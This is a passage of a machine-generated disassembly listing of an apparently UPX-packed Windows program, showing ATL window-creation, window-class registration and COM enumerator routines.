mov edi, dword_41D2CC
push 0FFFFFFFCh
push eax
call edi ; dword_41D2CC
push [ebp+arg_C]
mov [ebp+arg_8], eax
push ebx
push 82h
push dword ptr [esi+4]
push dword ptr [esi+20h]
call dword_41D27C ; CallWindowProcW
mov [ebp+arg_0], eax
mov eax, [esi+20h]
cmp eax, dword_41D278
jz short loc_4068E4
mov eax, [esi+4]
push 0FFFFFFFCh
push eax
call edi ; dword_41D2CC
cmp eax, [ebp+arg_8]
jnz short loc_4068E4
push dword ptr [esi+20h]
push 0FFFFFFFCh
push dword ptr [esi+4]
call dword_41D2B4 ; SetWindowLongW
loc_4068E4: ; CODE XREF: sub_406819+AEj
; sub_406819+BBj
or dword ptr [esi+1Ch], 1
loc_4068E8: ; CODE XREF: sub_406819+5Cj
; sub_406819+7Aj
mov eax, [esi+1Ch]
test al, 1
jz short loc_40690F
xor edx, edx
cmp [ebp+arg_4], edx
jnz short loc_40690F
mov ecx, [esi+4]
and eax, 0FFFFFFFEh
mov [esi+1Ch], eax
mov eax, [esi]
push ecx
mov ecx, esi
mov [esi+4], edx
mov [esi+18h], edx
call dword ptr [eax+0Ch]
jmp short loc_406915
; ---------------------------------------------------------------------------
loc_40690F: ; CODE XREF: sub_406819+D4j
; sub_406819+DBj
mov eax, [ebp+arg_4]
mov [esi+18h], eax
loc_406915: ; CODE XREF: sub_406819+F4j
mov eax, [ebp+arg_0]
pop edi
pop esi
pop ebx
leave
retn 10h
sub_406819 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40691F proc near ; CODE XREF: sub_404D0B+41p
; sub_404D5C+41p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = word ptr 20h
push ebp
mov ebp, esp
push esi
push edi
lea esi, [ebx+8]
push 0
xor eax, eax
mov edi, esi
call sub_4018DB
test eax, eax
jnz short loc_406942
push 0Eh
call dword_41D1D0 ; RtlSetLastWin32Error
loc_40693E: ; CODE XREF: sub_40691F+29j
xor eax, eax
jmp short loc_4069A5
; ---------------------------------------------------------------------------
loc_406942: ; CODE XREF: sub_40691F+15j
xor edi, edi
cmp [ebp+arg_18], di
jz short loc_40693E
mov eax, ebx
call sub_401441
cmp [ebp+arg_14], edi
jnz short loc_406962
test [ebp+arg_C], 40000000h
jz short loc_406962
mov [ebp+arg_14], ebx
loc_406962: ; CODE XREF: sub_40691F+35j
; sub_40691F+3Ej
mov eax, [ebp+arg_4]
cmp eax, edi
jnz short loc_406971
mov eax, offset dword_42BA3C
mov [ebp+arg_4], eax
loc_406971: ; CODE XREF: sub_40691F+48j
mov ecx, [eax+4]
mov esi, [eax+0Ch]
mov edx, [eax]
mov eax, [eax+8]
push edi
push dword_42E350
sub esi, ecx
push [ebp+arg_14]
sub eax, edx
push [ebp+arg_0]
push esi
push eax
movzx eax, [ebp+arg_18]
push ecx
push edx
push [ebp+arg_C]
push [ebp+arg_8]
push eax
push [ebp+arg_10]
call dword_41D290 ; CreateWindowExW
loc_4069A5: ; CODE XREF: sub_40691F+21j
pop edi
pop esi
pop ebp
retn 1Ch
sub_40691F endp
; =============== S U B R O U T I N E =======================================
sub_4069AB proc near ; CODE XREF: UPX0:00403B35p
push 0Ch
mov eax, offset loc_41C3DC
call sub_40C4A0
mov ebx, [ebp+8]
xor esi, esi
cmp ebx, esi
jnz short loc_4069C7
mov eax, 80004003h
jmp short loc_406A37
; ---------------------------------------------------------------------------
loc_4069C7: ; CODE XREF: sub_4069AB+13j
push 4Ch
mov [ebx], esi
mov dword ptr [ebp-18h], 8007000Eh
mov [ebp-14h], esi
mov [ebp-4], esi
call sub_40B45F
pop ecx
cmp eax, esi
jz short loc_4069EB
mov esi, eax
call sub_407031
mov esi, eax
loc_4069EB: ; CODE XREF: sub_4069AB+35j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_406A01
; ---------------------------------------------------------------------------
loc_4069F1: ; DATA XREF: UPX0:004276B4o
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, offset loc_4069FB
retn
; ---------------------------------------------------------------------------
loc_4069FB: ; DATA XREF: sub_4069AB+4Ao
mov ebx, [ebp+8]
mov esi, [ebp-14h]
loc_406A01: ; CODE XREF: sub_4069AB+44j
test esi, esi
jz short loc_406A30
lea edi, [esi+2Ch]
mov ecx, edi
call sub_401154
test eax, eax
jl short loc_406A17
mov byte ptr [edi+18h], 1
loc_406A17: ; CODE XREF: sub_4069AB+66j
mov edi, eax
test eax, eax
jl short loc_406A1F
xor edi, edi
loc_406A1F: ; CODE XREF: sub_4069AB+70j
test edi, edi
jz short loc_406A33
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax+4]
xor esi, esi
jmp short loc_406A33
; ---------------------------------------------------------------------------
loc_406A30: ; CODE XREF: sub_4069AB+58j
mov edi, [ebp-18h]
loc_406A33: ; CODE XREF: sub_4069AB+76j
; sub_4069AB+83j
mov [ebx], esi
mov eax, edi
loc_406A37: ; CODE XREF: sub_4069AB+1Aj
call sub_40C50C
retn 4
sub_4069AB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_406A3F proc near ; CODE XREF: UPX0:00403B57p
push 0Ch
mov eax, offset loc_41C605
call sub_40C4A0
mov ebx, [ebp+8]
xor esi, esi
cmp ebx, esi
jnz short loc_406A5B
mov eax, 80004003h
jmp short loc_406ACB
; ---------------------------------------------------------------------------
loc_406A5B: ; CODE XREF: sub_406A3F+13j
push 4Ch
mov [ebx], esi
mov dword ptr [ebp-18h], 8007000Eh
mov [ebp-14h], esi
mov [ebp-4], esi
call sub_40B45F
pop ecx
cmp eax, esi
jz short loc_406A7F
mov esi, eax
call sub_40707B
mov esi, eax
loc_406A7F: ; CODE XREF: sub_406A3F+35j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_406A95
; ---------------------------------------------------------------------------
loc_406A85: ; DATA XREF: UPX0:00427A6Co
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, offset loc_406A8F
retn
; ---------------------------------------------------------------------------
loc_406A8F: ; DATA XREF: sub_406A3F+4Ao
mov ebx, [ebp+8]
mov esi, [ebp-14h]
loc_406A95: ; CODE XREF: sub_406A3F+44j
test esi, esi
jz short loc_406AC4
lea edi, [esi+2Ch]
mov ecx, edi
call sub_401154
test eax, eax
jl short loc_406AAB
mov byte ptr [edi+18h], 1
loc_406AAB: ; CODE XREF: sub_406A3F+66j
mov edi, eax
test eax, eax
jl short loc_406AB3
xor edi, edi
loc_406AB3: ; CODE XREF: sub_406A3F+70j
test edi, edi
jz short loc_406AC7
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax+4]
xor esi, esi
jmp short loc_406AC7
; ---------------------------------------------------------------------------
loc_406AC4: ; CODE XREF: sub_406A3F+58j
mov edi, [ebp-18h]
loc_406AC7: ; CODE XREF: sub_406A3F+76j
; sub_406A3F+83j
mov [ebx], esi
mov eax, edi
loc_406ACB: ; CODE XREF: sub_406A3F+1Aj
call sub_40C50C
retn 4
sub_406A3F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40500B
loc_406AD3: ; CODE XREF: sub_40500B+29j
push 4
mov eax, offset loc_41BF15
call sub_40C46D
mov esi, ecx
mov [ebp-10h], esi
and dword ptr [ebp-4], 0
test byte ptr [esi+14h], 2
jz short loc_406B10
mov edi, [esi+8]
jmp short loc_406B02
; ---------------------------------------------------------------------------
loc_406AF3: ; CODE XREF: sub_40500B+1AFAj
mov eax, [edi]
test eax, eax
jz short loc_406AFF
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_406AFF: ; CODE XREF: sub_40500B+1AECj
add edi, 4
loc_406B02: ; CODE XREF: sub_40500B+1AE6j
cmp edi, [esi+0Ch]
jnz short loc_406AF3
push dword ptr [esi+8]
call sub_40B36B
pop ecx
loc_406B10: ; CODE XREF: sub_40500B+1AE1j
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [esi+4]
test esi, esi
jz short loc_406B21
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_406B21: ; CODE XREF: sub_40500B+1B0Ej
call sub_40C50C
retn
; END OF FUNCTION CHUNK FOR sub_40500B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B27 proc near ; DATA XREF: UPX0:00423FA4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov edx, [ebp+arg_C]
xor ecx, ecx
cmp edx, ecx
jz short loc_406B35
mov [edx], ecx
loc_406B35: ; CODE XREF: sub_406B27+Aj
push esi
push edi
mov edi, [ebp+arg_4]
cmp edi, ecx
jnz short loc_406B48
mov eax, 80070057h
jmp loc_406BEC
; ---------------------------------------------------------------------------
loc_406B48: ; CODE XREF: sub_406B27+15j
push ebx
cmp [ebp+arg_8], ecx
jz loc_406BE6
xor ebx, ebx
inc ebx
cmp edi, ebx
jz short loc_406B61
cmp edx, ecx
jz loc_406BE6
loc_406B61: ; CODE XREF: sub_406B27+30j
mov esi, [ebp+arg_0]
cmp [esi+8], ecx
jz short loc_406BDF
mov eax, [esi+0Ch]
cmp eax, ecx
jz short loc_406BDF
mov ecx, [esi+10h]
test ecx, ecx
jz short loc_406BDF
and [ebp+arg_4], 0
sub eax, ecx
sar eax, 2
cmp edi, eax
jbe short loc_406B87
mov [ebp+arg_4], ebx
loc_406B87: ; CODE XREF: sub_406B27+5Bj
jb short loc_406B8B
mov edi, eax
loc_406B8B: ; CODE XREF: sub_406B27:loc_406B87j
test edx, edx
jz short loc_406B91
mov [edx], edi
loc_406B91: ; CODE XREF: sub_406B27+66j
mov ebx, [ebp+arg_8]
jmp short loc_406BAF
; ---------------------------------------------------------------------------
loc_406B96: ; CODE XREF: sub_406B27+8Aj
mov eax, [esi+10h]
mov ecx, ebx
dec edi
call sub_4070C5
mov [ebp+arg_0], eax
test eax, eax
jl short loc_406BB8
add ebx, 4
add dword ptr [esi+10h], 4
loc_406BAF: ; CODE XREF: sub_406B27+6Dj
test edi, edi
jnz short loc_406B96
mov eax, [ebp+arg_4]
jmp short loc_406BEB
; ---------------------------------------------------------------------------
loc_406BB8: ; CODE XREF: sub_406B27+7Fj
mov esi, [ebp+arg_8]
jmp short loc_406BCC
; ---------------------------------------------------------------------------
loc_406BBD: ; CODE XREF: sub_406B27+A7j
mov eax, [esi]
test eax, eax
jz short loc_406BC9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_406BC9: ; CODE XREF: sub_406B27+9Aj
add esi, 4
loc_406BCC: ; CODE XREF: sub_406B27+94j
cmp esi, ebx
jb short loc_406BBD
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_406BDA
and dword ptr [eax], 0
loc_406BDA: ; CODE XREF: sub_406B27+AEj
mov eax, [ebp+arg_0]
jmp short loc_406BEB
; ---------------------------------------------------------------------------
loc_406BDF: ; CODE XREF: sub_406B27+40j
; sub_406B27+47j ...
mov eax, 80004005h
jmp short loc_406BEB
; ---------------------------------------------------------------------------
loc_406BE6: ; CODE XREF: sub_406B27+25j
; sub_406B27+34j
mov eax, 80004003h
loc_406BEB: ; CODE XREF: sub_406B27+8Fj
; sub_406B27+B6j ...
pop ebx
loc_406BEC: ; CODE XREF: sub_406B27+1Cj
pop edi
pop esi
pop ebp
retn 10h
sub_406B27 endp
; =============== S U B R O U T I N E =======================================
sub_406BF2 proc near ; DATA XREF: UPX0:00423FA8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
test esi, esi
jnz short loc_406C02
mov eax, 80070057h
jmp short loc_406C26
; ---------------------------------------------------------------------------
loc_406C02: ; CODE XREF: sub_406BF2+7j
mov ecx, [esp+4+arg_0]
mov edx, [ecx+10h]
mov eax, [ecx+0Ch]
sub eax, edx
sar eax, 2
cmp esi, eax
ja short loc_406C17
mov eax, esi
loc_406C17: ; CODE XREF: sub_406BF2+21j
lea edx, [edx+eax*4]
mov [ecx+10h], edx
xor ecx, ecx
cmp esi, eax
setnz cl
mov eax, ecx
loc_406C26: ; CODE XREF: sub_406BF2+Ej
pop esi
retn 8
sub_406BF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C2A proc near ; DATA XREF: UPX0:00423FB0o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push edi
xor edi, edi
mov [ebp+var_4], edi
mov ebx, 80004003h
cmp eax, edi
jz loc_406CD2
mov [eax], edi
lea eax, [ebp+var_8]
push eax
call sub_4070E8
mov ebx, eax
cmp ebx, edi
jl short loc_406CD2
push esi
mov esi, [ebp+arg_0]
test byte ptr [esi+14h], 2
jz short loc_406C76
mov eax, [esi]
push esi
mov [ebp+var_4], 1
mov [ebp+arg_0], esi
call dword ptr [eax+4]
lea eax, [ebp+arg_0]
jmp short loc_406C79
; ---------------------------------------------------------------------------
loc_406C76: ; CODE XREF: sub_406C2A+35j
lea eax, [esi+4]
loc_406C79: ; CODE XREF: sub_406C2A+4Aj
mov eax, [eax]
push edi
mov edi, [ebp+var_8]
push eax
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push edi
call sub_406CDA
test byte ptr [ebp+var_4], 1
mov ebx, eax
jz short loc_406CA1
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_406CA1
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_406CA1: ; CODE XREF: sub_406C2A+68j
; sub_406C2A+6Fj
test ebx, ebx
jl short loc_406CC4
mov eax, [esi+10h]
mov ebx, [ebp+arg_4]
push offset dword_41EF34
mov [edi+10h], eax
push edi
mov eax, offset off_423EA4
call sub_4015BD
mov ebx, eax
test ebx, ebx
jge short loc_406CD1
loc_406CC4: ; CODE XREF: sub_406C2A+79j
test edi, edi
jz short loc_406CD1
mov eax, [edi]
push 1
mov ecx, edi
call dword ptr [eax+1Ch]
loc_406CD1: ; CODE XREF: sub_406C2A+98j
; sub_406C2A+9Cj
pop esi
loc_406CD2: ; CODE XREF: sub_406C2A+16j
; sub_406C2A+2Bj
pop edi
mov eax, ebx
pop ebx
leave
retn 8
sub_406C2A endp
; =============== S U B R O U T I N E =======================================
sub_406CDA proc near ; CODE XREF: sub_403FBF+77p
; sub_406C2A+5Dp
push 4
mov eax, offset loc_41C14B
call sub_40C4A0
mov esi, [ebp+10h]
mov ebx, [ebp+8]
cmp dword ptr [ebp+18h], 3
jnz loc_406DAA
and dword ptr [ebp-4], 0
mov eax, esi
sub eax, [ebp+0Ch]
xor ecx, ecx
push 4
sar eax, 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub_40AC06
or dword ptr [ebp-4], 0FFFFFFFFh
pop ecx
mov [ebx+8], eax
jmp short loc_406D30
; ---------------------------------------------------------------------------
loc_406D20: ; DATA XREF: UPX0:0042719Co
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, offset loc_406D2A
retn
; ---------------------------------------------------------------------------
loc_406D2A: ; DATA XREF: sub_406CDA+4Ao
mov ebx, [ebp+8]
mov esi, [ebp+10h]
loc_406D30: ; CODE XREF: sub_406CDA+44j
mov eax, [ebx+8]
mov [ebx+10h], eax
test eax, eax
jnz short loc_406D44
mov eax, 8007000Eh
jmp loc_406DD0
; ---------------------------------------------------------------------------
loc_406D44: ; CODE XREF: sub_406CDA+5Ej
mov edi, [ebp+0Ch]
jmp short loc_406D61
; ---------------------------------------------------------------------------
loc_406D49: ; CODE XREF: sub_406CDA+89j
mov ecx, [ebx+10h]
mov eax, edi
call sub_4070C5
mov [ebp+8], eax
test eax, eax
jl short loc_406D76
add dword ptr [ebx+10h], 4
add edi, 4
loc_406D61: ; CODE XREF: sub_406CDA+6Dj
cmp edi, esi
jnz short loc_406D49
sub esi, [ebp+0Ch]
mov eax, [ebx+8]
sar esi, 2
lea eax, [eax+esi*4]
mov [ebx+0Ch], eax
jmp short loc_406DB3
; ---------------------------------------------------------------------------
loc_406D76: ; CODE XREF: sub_406CDA+7Ej
mov esi, [ebx+8]
jmp short loc_406D8C
; ---------------------------------------------------------------------------
loc_406D7B: ; CODE XREF: sub_406CDA+B5j
mov eax, esi
mov eax, [eax]
add esi, 4
test eax, eax
jz short loc_406D8C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_406D8C: ; CODE XREF: sub_406CDA+9Fj
; sub_406CDA+AAj
cmp esi, [ebx+10h]
jb short loc_406D7B
push dword ptr [ebx+8]
call sub_40B36B
xor eax, eax
mov [ebx+10h], eax
mov [ebx+0Ch], eax
mov [ebx+8], eax
mov eax, [ebp+8]
pop ecx
jmp short loc_406DD0
; ---------------------------------------------------------------------------
loc_406DAA: ; CODE XREF: sub_406CDA+16j
mov eax, [ebp+0Ch]
mov [ebx+8], eax
mov [ebx+0Ch], esi
loc_406DB3: ; CODE XREF: sub_406CDA+9Aj
mov edi, [ebp+14h]
lea esi, [ebx+4]
cmp [esi], edi
jz short loc_406DC2
call sub_4011B4
loc_406DC2: ; CODE XREF: sub_406CDA+E1j
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebp+18h]
mov [ebx+14h], eax
xor eax, eax
loc_406DD0: ; CODE XREF: sub_406CDA+65j
; sub_406CDA+CEj
call sub_40C50C
retn 14h
sub_406CDA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406DD8 proc near ; CODE XREF: sub_404D0B+20p
; sub_404D5C+20p ...
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_30 = byte ptr -30h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 70h
push esi
xor esi, esi
push edi
cmp ebx, esi
jz short loc_406E65
cmp [ebp+arg_0], esi
jz short loc_406E65
cmp [ebx+40h], si
jnz loc_406F29
mov eax, offset dword_42E38C
push eax
mov [esp+7Ch+var_68], eax
call dword_41D1CC ; RtlEnterCriticalSection
mov byte ptr [esp+78h+var_64], 1
cmp [ebx+40h], si
jnz loc_406F1E
mov eax, [ebx+30h]
cmp eax, esi
jz short loc_406E8E
mov ecx, [ebx+28h]
mov [esp+78h+var_70], ecx
mov ecx, [ebx+8]
mov [esp+78h+var_6C], ecx
lea ecx, [esp+78h+var_60]
push ecx
push eax
push esi
mov esi, dword_41D35C
mov [esp+84h+var_60], 30h
call esi ; dword_41D35C
test eax, eax
jnz short loc_406E6D
mov eax, [ebx+30h]
lea ecx, [esp+78h+var_60]
push ecx
push eax
push dword_42E350
call esi ; dword_41D35C
test eax, eax
jnz short loc_406E6D
lea ecx, [esp+78h+var_68]
call sub_4066D7
loc_406E65: ; CODE XREF: sub_406DD8+Fj
; sub_406DD8+14j
xor eax, eax
loc_406E67: ; CODE XREF: sub_406DD8+162j
pop edi
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_406E6D: ; CODE XREF: sub_406DD8+6Dj
; sub_406DD8+82j
push 0Ch
pop ecx
lea esi, [esp+78h+var_60]
mov edi, ebx
rep movsd
mov eax, [ebx+8]
mov [ebx+34h], eax
mov eax, [esp+78h+var_70]
mov [ebx+28h], eax
mov eax, [esp+78h+var_6C]
mov [ebx+8], eax
jmp short loc_406EAA
; ---------------------------------------------------------------------------
loc_406E8E: ; CODE XREF: sub_406DD8+44j
mov eax, [ebx+3Ch]
push dword ptr [ebx+38h]
neg eax
sbb eax, eax
not eax
and eax, dword_42E354
push eax
call dword_41D344 ; LoadCursorW
mov [ebx+1Ch], eax
loc_406EAA: ; CODE XREF: sub_406DD8+B4j
mov eax, dword_42E350
and dword ptr [ebx+4], 0FFFFBFFFh
cmp dword ptr [ebx+28h], 0
mov [ebx+14h], eax
jnz short loc_406ED6
push ebx
push offset aAtlP ; "ATL:%p"
lea esi, [ebx+42h]
push 25h
push esi
call sub_40AC2B
add esp, 10h
mov [ebx+28h], esi
loc_406ED6: ; CODE XREF: sub_406DD8+E5j
mov eax, [ebx+28h]
push 0Ch
pop ecx
lea edx, [esp+78h+var_30]
push edx
mov esi, ebx
lea edi, [esp+7Ch+var_30]
rep movsd
mov ecx, [ebx+14h]
push eax
push ecx
call dword_41D35C ; GetClassInfoExW
mov [ebx+40h], ax
test ax, ax
jnz short loc_406F1E
push ebx
call dword_41D2D4 ; RegisterClassExW
movzx edi, ax
lea eax, [esp+78h+var_6C]
push eax
mov esi, offset dword_42E3A8
mov [esp+7Ch+var_6C], edi
call sub_404C2B
mov [ebx+40h], di
loc_406F1E: ; CODE XREF: sub_406DD8+39j
; sub_406DD8+123j
lea ecx, [esp+78h+var_68]
call sub_4066D7
xor esi, esi
loc_406F29: ; CODE XREF: sub_406DD8+1Aj
cmp [ebx+30h], esi
jz short loc_406F36
mov eax, [ebx+34h]
mov ecx, [ebp+arg_0]
mov [ecx], eax
loc_406F36: ; CODE XREF: sub_406DD8+154j
mov ax, [ebx+40h]
jmp loc_406E67
sub_406DD8 endp
; =============== S U B R O U T I N E =======================================
sub_406F3F proc near ; CODE XREF: sub_405546+60p
; sub_4055BC+22p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
add eax, eax
push eax
push [esp+4+arg_8]
mov eax, [esp+8+arg_4]
add eax, eax
push eax
push [esp+0Ch+arg_0]
call sub_40B376
mov eax, [esp+10h+arg_0]
add esp, 10h
retn
sub_406F3F endp
; =============== S U B R O U T I N E =======================================
sub_406F5E proc near ; CODE XREF: sub_4051B7+6Ep
; sub_405603+57p ...
cmp dword ptr [eax+18h], 8
push esi
push edi
mov edi, [eax+14h]
jb short loc_406F6E
mov eax, [eax+4]
jmp short loc_406F71
; ---------------------------------------------------------------------------
loc_406F6E: ; CODE XREF: sub_406F5E+9j
add eax, 4
loc_406F71: ; CODE XREF: sub_406F5E+Ej
mov esi, [ecx+14h]
mov edx, esi
cmp esi, edi
jb short loc_406F7C
mov edx, edi
loc_406F7C: ; CODE XREF: sub_406F5E+1Aj
cmp dword ptr [ecx+18h], 8
jb short loc_406F87
mov ecx, [ecx+4]
jmp short loc_406F8A
; ---------------------------------------------------------------------------
loc_406F87: ; CODE XREF: sub_406F5E+22j
add ecx, 4
loc_406F8A: ; CODE XREF: sub_406F5E+27j
push ebx
test edx, edx
jbe short loc_406F9E
loc_406F8F: ; CODE XREF: sub_406F5E+3Ej
mov bx, [ecx]
cmp bx, [eax]
jnz short loc_406FAE
inc ecx
inc ecx
inc eax
inc eax
dec edx
jnz short loc_406F8F
loc_406F9E: ; CODE XREF: sub_406F5E+2Fj
xor eax, eax
loc_406FA0: ; CODE XREF: sub_406F5E+5Cj
pop ebx
test eax, eax
jnz short loc_406FC3
cmp esi, edi
jnb short loc_406FBC
or eax, 0FFFFFFFFh
jmp short loc_406FC3
; ---------------------------------------------------------------------------
loc_406FAE: ; CODE XREF: sub_406F5E+37j
mov cx, bx
cmp cx, [eax]
sbb eax, eax
and eax, 0FFFFFFFEh
inc eax
jmp short loc_406FA0
; ---------------------------------------------------------------------------
loc_406FBC: ; CODE XREF: sub_406F5E+49j
xor eax, eax
cmp esi, edi
setnz al
loc_406FC3: ; CODE XREF: sub_406F5E+45j
; sub_406F5E+4Ej
xor ecx, ecx
test eax, eax
setl cl
pop edi
mov al, cl
pop esi
retn
sub_406F5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406FCF proc near ; CODE XREF: sub_405F0B+50p
; sub_405F0B+6Cp
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
sub esp, 0Ch
test ecx, ecx
ja short loc_406FE7
xor ecx, ecx
loc_406FDE: ; CODE XREF: sub_406FCF+22j
push ecx
call sub_40B45F
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_406FE7: ; CODE XREF: sub_406FCF+Bj
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 1
jnb short loc_406FDE
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
call sub_40ACB7
push offset dword_426E80
lea eax, [ebp+var_C]
push eax
mov [ebp+var_C], offset off_41D4DC
call sub_40C03B
int 3 ; Trap to Debugger
sub_406FCF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_407019 proc near ; CODE XREF: sub_40B45F+51p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_40AD27
mov dword ptr [esi], offset off_41D4DC
mov eax, esi
pop esi
retn 4
sub_407019 endp
; =============== S U B R O U T I N E =======================================
sub_407031 proc near ; CODE XREF: sub_4069AB+39p
push ebx
push edi
xor ebx, ebx
mov [esi+28h], ebx
lea edx, [esi+2Ch]
push 6
xor eax, eax
pop ecx
mov edi, edx
rep stosd
mov eax, dword_41D278
mov [edx+18h], bl
mov [esi+4], ebx
mov [esi+14h], ebx
mov [esi+18h], ebx
mov [esi+1Ch], ebx
mov [esi+20h], eax
mov [esi+48h], ebx
mov dword ptr [esi], offset off_423F04
mov dword ptr [esi+24h], offset off_423F1C
mov ecx, dword_42EE90
mov eax, [ecx]
call dword ptr [eax+4]
pop edi
mov eax, esi
pop ebx
retn
sub_407031 endp
; =============== S U B R O U T I N E =======================================
sub_40707B proc near ; CODE XREF: sub_406A3F+39p
push ebx
push edi
xor ebx, ebx
mov [esi+28h], ebx
lea edx, [esi+2Ch]
push 6
xor eax, eax
pop ecx
mov edi, edx
rep stosd
mov eax, dword_41D278
mov [edx+18h], bl
mov [esi+4], ebx
mov [esi+14h], ebx
mov [esi+18h], ebx
mov [esi+1Ch], ebx
mov [esi+20h], eax
mov [esi+48h], ebx
mov dword ptr [esi], offset off_423F5C
mov dword ptr [esi+24h], offset off_423F70
mov ecx, dword_42EE90
mov eax, [ecx]
call dword ptr [eax+4]
pop edi
mov eax, esi
pop ebx
retn
sub_40707B endp
; =============== S U B R O U T I N E =======================================
sub_4070C5 proc near ; CODE XREF: sub_406B27+75p
; sub_406CDA+74p
test ecx, ecx
jz short loc_4070CD
test eax, eax
jnz short loc_4070D7
loc_4070CD: ; CODE XREF: sub_4070C5+2j
push 80004005h
call sub_4010D8
; ---------------------------------------------------------------------------
loc_4070D7: ; CODE XREF: sub_4070C5+6j
mov eax, [eax]
mov [ecx], eax
test eax, eax
jz short loc_4070E5
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_4070E5: ; CODE XREF: sub_4070C5+18j
xor eax, eax
retn
sub_4070C5 endp
; =============== S U B R O U T I N E =======================================
sub_4070E8 proc near ; CODE XREF: sub_406C2A+22p
push 0Ch
mov eax, offset loc_41C5EA
call sub_40C4A0
mov ebx, [ebp+8]
xor esi, esi
cmp ebx, esi
jnz short loc_407104
mov eax, 80004003h
jmp short loc_407174
; ---------------------------------------------------------------------------
loc_407104: ; CODE XREF: sub_4070E8+13j
push 38h
mov [ebx], esi
mov dword ptr [ebp-18h], 8007000Eh
mov [ebp-14h], esi
mov [ebp-4], esi
call sub_40B45F
pop ecx
cmp eax, esi
jz short loc_407128
mov esi, eax
call sub_404FD0
mov esi, eax
loc_407128: ; CODE XREF: sub_4070E8+35j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_40713E
; ---------------------------------------------------------------------------
loc_40712E: ; DATA XREF: UPX0:00427A14o
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, offset loc_407138
retn
; ---------------------------------------------------------------------------
loc_407138: ; DATA XREF: sub_4070E8+4Ao
mov ebx, [ebp+8]
mov esi, [ebp-14h]
loc_40713E: ; CODE XREF: sub_4070E8+44j
test esi, esi
jz short loc_40716D
lea edi, [esi+1Ch]
mov ecx, edi
call sub_401154
test eax, eax
jl short loc_407154
mov byte ptr [edi+18h], 1
loc_407154: ; CODE XREF: sub_4070E8+66j
mov edi, eax
test eax, eax
jl short loc_40715C
xor edi, edi
loc_40715C: ; CODE XREF: sub_4070E8+70j
test edi, edi
jz short loc_407170
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax+1Ch]
xor esi, esi
jmp short loc_407170
; ---------------------------------------------------------------------------
loc_40716D: ; CODE XREF: sub_4070E8+58j
mov edi, [ebp-18h]
loc_407170: ; CODE XREF: sub_4070E8+76j
; sub_4070E8+83j
mov [ebx], esi
mov eax, edi
loc_407174: ; CODE XREF: sub_4070E8+1Aj
call sub_40C50C
retn 4
sub_4070E8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40717C proc near ; DATA XREF: UPX0:0042418Co
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00405949 SIZE 00000010 BYTES
sub [esp+arg_0], 24h
jmp loc_405949
sub_40717C endp
; ---------------------------------------------------------------------------
loc_407186: ; DATA XREF: UPX0:00424150o
sub dword ptr [esp+4], 1Ch
jmp loc_405939
; ---------------------------------------------------------------------------
loc_407190: ; DATA XREF: UPX0:00424074o
sub dword ptr [esp+4], 8
jmp loc_405949
; ---------------------------------------------------------------------------
loc_40719A: ; DATA XREF: UPX0:004241DCo
sub dword ptr [esp+4], 28h
jmp loc_405949
; ---------------------------------------------------------------------------
loc_4071A4: ; DATA XREF: UPX0:00424164o
sub dword ptr [esp+4], 20h
jmp loc_405939
; ---------------------------------------------------------------------------
loc_4071AE: ; DATA XREF: UPX0:off_42414Co
sub dword ptr [esp+4], 1Ch
jmp loc_405959
; ---------------------------------------------------------------------------
